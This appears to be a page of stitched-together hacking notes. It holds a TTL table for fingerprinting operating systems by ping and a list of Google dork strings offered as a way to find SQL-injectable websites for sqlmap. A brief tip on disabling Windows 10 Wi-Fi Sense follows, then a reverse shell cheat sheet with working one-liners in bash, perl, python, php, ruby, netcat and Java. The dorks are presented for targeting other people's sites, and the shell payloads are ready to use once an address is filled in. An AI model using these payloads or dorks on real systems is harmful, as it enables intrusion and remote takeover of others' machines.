Operating Systems can be detected using Ping Command

Device / OS Version Protocol TTL
AIX 3.2, 4.1 ICMP 255
BSDI BSD/OS 3.1 and 4.0 ICMP 255
Compa Tru64 v5.0 ICMP 64
Cisco ICMP 254
DEC Pathworks V5 TCP and UDP 30
Foundry ICMP 64
FreeBSD 2.1R TCP and UDP 64
FreeBSD 3.4, 4.0 ICMP 255
FreeBSD 5 ICMP 64
HP-UX 9.0x TCP and UDP 30
HP-UX 10.01 TCP and UDP 64
HP-UX 10.2 ICMP 255
HP-UX 11 ICMP 255
HP-UX 11 TCP 64
Irix 5.3 TCP and UDP 60
Irix 6.x TCP and UDP 60
Irix 6.5.3, 6.5.8 ICMP 255
juniper ICMP 64
Linux 2.0.x kernel ICMP 64
Linux 2.2.14 kernel ICMP 255
Linux 2.4 kernel ICMP 255
Linux Red Hat 9 ICMP and TCP 64
MacOS/MacTCP 2.0.x TCP and UDP 60
MacOS/MacTCP X (10.5.6) ICMP/TCP/UDP 64
Netgear FVG318 ICMP and UDP 64
OpenBSD 2.6 & 2.7 ICMP 255
OpenVMS 07.01.2002 ICMP 255
OS/2 TCP/IP 3.0 64
OSF/1 V3.2A TCP 60
OSF/1 V3.2A UDP 30
Solaris 2.5.1, 2.6, 2.7, 2.8 ICMP 255
Solaris 2.8 TCP 64
Stratus TCP_OS ICMP 255
Stratus TCP_OS (14.2-) TCP and UDP 30
Stratus TCP_OS (14.3+) TCP and UDP 64
SunOS 4.1.3/4.1.4 TCP and UDP 60
SunOS 5.7 ICMP and TCP 255
Ultrix V4.1/V4.2A TCP 60
Ultrix V4.1/V4.2A UDP 30
Ultrix V4.2 – 4.5 ICMP 255
VMS/Multinet TCP and UDP 64
VMS/TCPware TCP 60
VMS/TCPware UDP 64
VMS/Wollongong TCP 128
VMS/Wollongong UDP 30
Windows for Workgroups TCP and UDP 32
Windows 95 TCP and UDP 32
Windows 98 ICMP 32
Windows 98, 98 SE ICMP 128
Windows 98 TCP 128
Windows NT 3.51 TCP and UDP 32
Windows NT 4.0 TCP and UDP 128
Windows NT 4.0 SP5- 32
Windows NT 4.0 SP6+ 128
Windows NT 4 WRKS SP 3, SP 6a ICMP 128
Windows NT 4 Server SP4 ICMP 128
Windows ME ICMP 128
Windows 2000 pro ICMP/TCP/UDP 128
Windows 2000 family ICMP 128
Windows Server 2003 128
Windows XP ICMP/TCP/UDP 128
Windows Vista ICMP/TCP/UDP 128
Windows 7 ICMP/TCP/UDP 128
Windows Server 2008 ICMP/TCP/UDP 128
Windows 10 ICMP/TCP/UDP 128

Run the traceroute command first to determine the hops between the Target and the destination (making the Sum of TTL value and number of hops).

Google Dorks strings to find Vulnerable SQLMAP SQL injectable website

inurl:item_id= inurl:review.php?id=
inurl:hosting_info.php?id= inurl:newsid=
inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id=
inurl:rub.php?idr= inurl:news-full.php?id=
inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id=
inurl:artikelinfo.php?id= inurl:index2.php?option=
inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id=
inurl:index.php?= inurl:top10.php?cat=
inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id=
inurl:category.php?id= inurl:event.php?id=
inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id=
inurl:fellows.php?id= inurl:sql.php?id=
inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l=
inurl:prod_info.php?id= inurl:news.php?catid=
inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id=
inurl:productinfo.php?id= inurl:news.php?id=
inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr=
inurl:band_info.php?id= inurl:trainers.php?id=
inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf=
inurl:releases.php?id= inurl:article.php?ID=
inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id=
inurl:produit.php?id= inurl:declaration_more.php?decl_id=
inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id=
inurl:shopping.php?id= inurl:games.php?id=
inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id=
inurl:post.php?id= inurl:newsDetail.php?id=
inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id=
inurl:clubpage.php?id= inurl:article.php?id=
inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id=
inurl:section.php?id= inurl:staff_id=
inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id=
inurl:page.php?id= inurl:readnews.php?id=
inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id=
inurl:tradeCategory.php?id= inurl:historialeer.php?num=
inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id=
inurl:shop_category.php?id= inurl:Stray-Questions-View.php?num=
inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id=
inurl:channel_id= inurl:game.php?id=
inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id=
inurl:preview.php?id= inurl:newsone.php?id=
inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id=
inurl:pages.php?id= inurl:news.php?id=
inurl:participant.php?id= inurl:avd_start.php?avd=
inurl:download.php?id= inurl:event.php?id=
inurl:main.php?id= inurl:product-item.php?id=
inurl:review.php?id= inurl:sql.php?id=
inurl:chappies.php?id= inurl:material.php?id=
inurl:read.php?id= inurl:clanek.php4?id=
inurl:prod_detail.php?id= inurl:announce.php?id=
inurl:viewphoto.php?id= inurl:chappies.php?id=
inurl:article.php?id= inurl:read.php?id=
inurl:person.php?id= inurl:viewapp.php?id=
inurl:productinfo.php?id= inurl:viewphoto.php?id=
inurl:showimg.php?id= inurl:website.php?id=
inurl:view.php?id= inurl:galeri_info.php?l=

How to stop Windows 10 from sharing your WiFi password

“When you share Wi-Fi network access with Facebook friends, Outlook.com contacts, or Skype contacts, they’ll be connected to the password-protected Wi-Fi networks that you choose to share and get Internet access when they’re in range of the networks (if they use Wi-Fi Sense). Likewise, you’ll be connected to Wi-Fi networks that they share for Internet access too. Remember, you don’t get to see Wi-Fi network passwords, and you both get Internet access only. They won’t have access to other computers, devices, or files stored on your home network, and you won’t have access to these things on their network.”

WiFi Sense will automatically connect you to detected crowdsourced WiFi networks, acquire network information and provide “additional info” to networks that require it (it’s not clear exactly what constitutes additional info), and can be used to automatically share your WiFi password with your contacts on Facebook, Skype, and Outlook.

On a practical level, the risks from WiFi Sense are small. But from a best-practices security standpoint, it’s far from a great idea.

Oh, my God, disable NOW:

Settings->Manage WiFi Settings->Wi-Fi Sense

Turn it off

Reverse Shell Cheat Sheet


bash -i >& /dev/tcp/ 0>&1


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby -rsocket -e'f=TCPSocket.open("",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


nc -e /bin/sh 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])